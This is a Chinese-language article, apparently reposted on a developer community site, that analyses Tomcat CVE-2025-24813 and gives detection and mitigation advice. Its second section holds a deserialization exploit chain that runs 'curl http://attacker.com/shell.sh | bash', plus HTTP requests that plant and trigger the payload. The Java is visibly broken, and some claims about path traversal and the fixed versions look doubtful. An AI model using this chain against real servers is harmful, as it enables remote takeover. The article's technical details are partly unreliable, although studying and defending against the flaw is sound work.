首页
学习
活动
专区
圈层
工具
发布
精选内容/技术社群/优惠产品,尽在小程序
立即前往

CVE-2025-24813:Tomcat远程执行安全漏洞深度分析与防御指南

大家好,本系列我将列举近期一些严重的安全漏洞解析,大家自行取用。

关注安全漏洞,防止安全问题!

一、漏洞技术原理

该漏洞是Apache Tomcat在处理分块上传文件(Partial PUT)与会话持久化机制时产生的逻辑耦合漏洞。

其中包含以下三个技术环节:

1. 临时文件路径构造缺陷 

Tomcat在处理带有`Content-Range`头的PUT请求时,会将上传内容存储在`work/catalina/localhost/root`目录下。

 关键缺陷在于路径分隔符`/`被替换为`.`(例如请求路径`/evil/session`会生成`.evil.session`临时文件),且未对转换后的文件名进行合法性校验。这使得攻击者可能通过构造特殊路径(如`../../conf/web.xml`)覆盖敏感文件。

2. 会话持久化机制触发反序列化 

当Tomcat配置了`PersistentManager`(需手动启用)且使用默认的`FileStore`会话存储时,系统会将序列化的`HttpSession`对象保存为`.session`文件。

 若攻击者上传的临时文件与`.session`文件路径重叠(默认存储路径同为`work`目录),且通过`jsessionid=.xxxx`的Cookie触发会话加载,Tomcat会自动反序列化恶意文件内容。

3. 利用链依赖条件触发漏洞

漏洞利用需同时满足以下条件: 

- DefaultServlet写入权限(需在`web.xml`中显式设置`<param-name>readonly</param-name>`为`false`) 

- 存在反序列化利用链(如`commons-collections 3.2.1`的`InvokerTransformer`类) 

- Partial PUT支持(默认开启,允许分块上传未完整文件)

Tomcat的 DefaultServlet 负责处理静态资源请求,其处理PUT请求的逻辑如下:

请求解析:

当收到PUT请求时, DefaultServlet 调用 doPut() 方法,根据 Content-Range 头判断是否为分块上传。

临时文件生成:

若请求包含 Content-Range: bytes x-y/z 且 z > (y-x+1) (即声明总长度大于实际数据长度),Tomcat会在 work 目录下创建临时文件,文件名通过以下逻辑生成:

```java

// org.apache.catalina.servlets.DefaultServlet#generateTempFileName

String requestPath = getRelativePath(request); // 获取请求路径

String safeName = requestPath.replace('/', '.'); // 路径分隔符替换为点

File tempFile = new File(tempDir, safeName + ".tmp"); // 存储为临时文件```

关键缺陷:

未对 safeName 进行路径遍历校验(如 ../../ ),导致攻击者可通过恶意路径注入覆盖系统文件。

二、漏洞利用步骤与代码实现

漏洞的攻击流程如下:

1. 构造恶意序列化Payload

2. 通过PUT请求上传至临时目录

3. 触发会话反序列化

4. 执行系统命令

关键代码实现:

```java

// 生成Commons-Collections反序列化链(以执行命令为例)

Transformer transformers = new Transformer{

new ConstantTransformer(Runtime.class),

new InvokerTransformer("getMethod",

new Class{String.class, Class.class},

new Object{"getRuntime", null}),

new InvokerTransformer("invoke",

new Class{Object.class, Object.class},

new Object{null, null}),

new InvokerTransformer("exec",

new Class{String.class},

new Object{"curl http://attacker.com/shell.sh | bash"})

};

ChainedTransformer chain = new ChainedTransformer(transformers);

Map lazyMap = LazyMap.decorate(new HashMap(), chain);

TiedMapEntry entry = new TiedMapEntry(lazyMap, "trigger");

BadAttributeValueExpException payload = new BadAttributeValueExpException(null);

// 通过反射注入恶意对象

Field valField = payload.getClass().getDeclaredField("val");

valField.setAccessible(true);

valField.set(payload, entry);

// 发送恶意PUT请求(示例使用Apache HttpClient)

CloseableHttpClient client = HttpClients.createDefault();

HttpPut put = new HttpPut("http://target:8080/evil/session");

put.setHeader("Content-Range", "bytes 0-2787/4200");  // 必须大于实际数据长度

put.setEntity(new ByteArrayEntity(serialize(payload)));  // serialize为自定义序列化方法

client.execute(put);

// 触发反序列化

HttpGet get = new HttpGet("http://target:8080/");

get.setHeader("Cookie", "jsessionid=.evil");

client.execute(get);```

技术细节说明:

- Content-Range头欺骗:通过设置`Content-Range: bytes 0-2787/4200`(分母值大于实际长度),Tomcat会认为文件上传未完成,从而生成临时文件。

- 路径污染:生成的`.evil.session`文件与`PersistentManager`的会话存储路径重叠,导致后续会话加载时触发反序列化。

三、漏洞分析与检测方法

1. 配置检查 

- 检查`conf/web.xml`中`DefaultServlet`的`readonly`参数是否为`false` 

- 确认`context.xml`是否包含`PersistentManager`和`FileStore`配置 

- 使用`grep -R "PersistentManager" $CATALINA_HOME/conf`快速定位危险配置

2. 依赖库扫描 

检测类路径下是否存在高风险库:

bash

find $CATALINA_BASE/webapps/ -name "commons-collections*.jar"

3. 动态行为监控 

- 监控`work/catalina/localhost/root`目录的文件创建事件 

- 抓取包含异常`Content-Range`头(如`bytes 0-1000/2000`)的PUT请求

四、防御与优化方案

1. 官方修复方案(优先级最高)

升级至以下版本: 

- Tomcat 9.0.99+:禁用路径分隔符替换逻辑,增加会话文件签名验证 

- Tomcat 10.1.35+:分离临时文件与会话存储目录,默认禁用Partial PUT 

2. 临时缓解措施

```xml

<servlet-name>default</servlet-name>

<init-param>

<param-name>readonly</param-name>

<param-value>true</param-value>

</init-param>

<Store className="org.apache.catalina.session.FileStore"

directory="/opt/tomcat/safe_sessions"/>

</Manager>```

3. 纵深防御体系

反序列化过滤:

启用JEP 290机制限制反序列化类:

bash

JAVA_OPTS="-Djdk.serialFilter=!org.apache.commons.collections.functors.*"

WAF规则:

拦截特征请求:

regex

(Content-Range:\sbytes\s\d+-\d+/\\d+)|(jsessionid=\.\w+)

运行时防护(RASP) 

监控`ObjectInputStream.readObject()`调用,阻断`PersistentManager`加载可疑会话文件

五、延伸思考:中间件安全设计

1. 默认安全原则 

Tomcat默认关闭`readonly`功能的做法体现了最小暴露原则,但Partial PUT的默认开启仍存在风险,建议中间件厂商对高危功能采用显式启用机制。

2. 供应链安全 

企业应建立组件SBOM清单,对`commons-collections`等高风险库实施版本白名单控制,例如,通过Maven插件自动检测:

```xml

<groupId>org.apache.commons</groupId>

<artifactId>commons-collections4</artifactId>

<version>4.4</version> <!-- 使用安全版本 -->

```

3. 攻击面可视化

开发自动化工具扫描Tomcat实例,检测以下特征:

快速检测脚本:

grep -R "PersistentManager" $CATALINA_HOME/conf

ls $CATALINA_BASE/webapps/*/WEB-INF/lib/commons-collections-3*.jar

  • 发表于:
  • 原文链接https://page.om.qq.com/page/ORX8TheNNhq-kcUHpUIt7mpQ0
  • 腾讯「腾讯云开发者社区」是腾讯内容开放平台帐号(企鹅号)传播渠道之一,根据《腾讯内容开放平台服务协议》转载发布内容。
  • 如有侵权,请联系 cloudcommunity@tencent.com 删除。

扫码

添加站长 进交流群

领取专属 10元无门槛券

私享最新 技术干货

扫码加入开发者社群
领券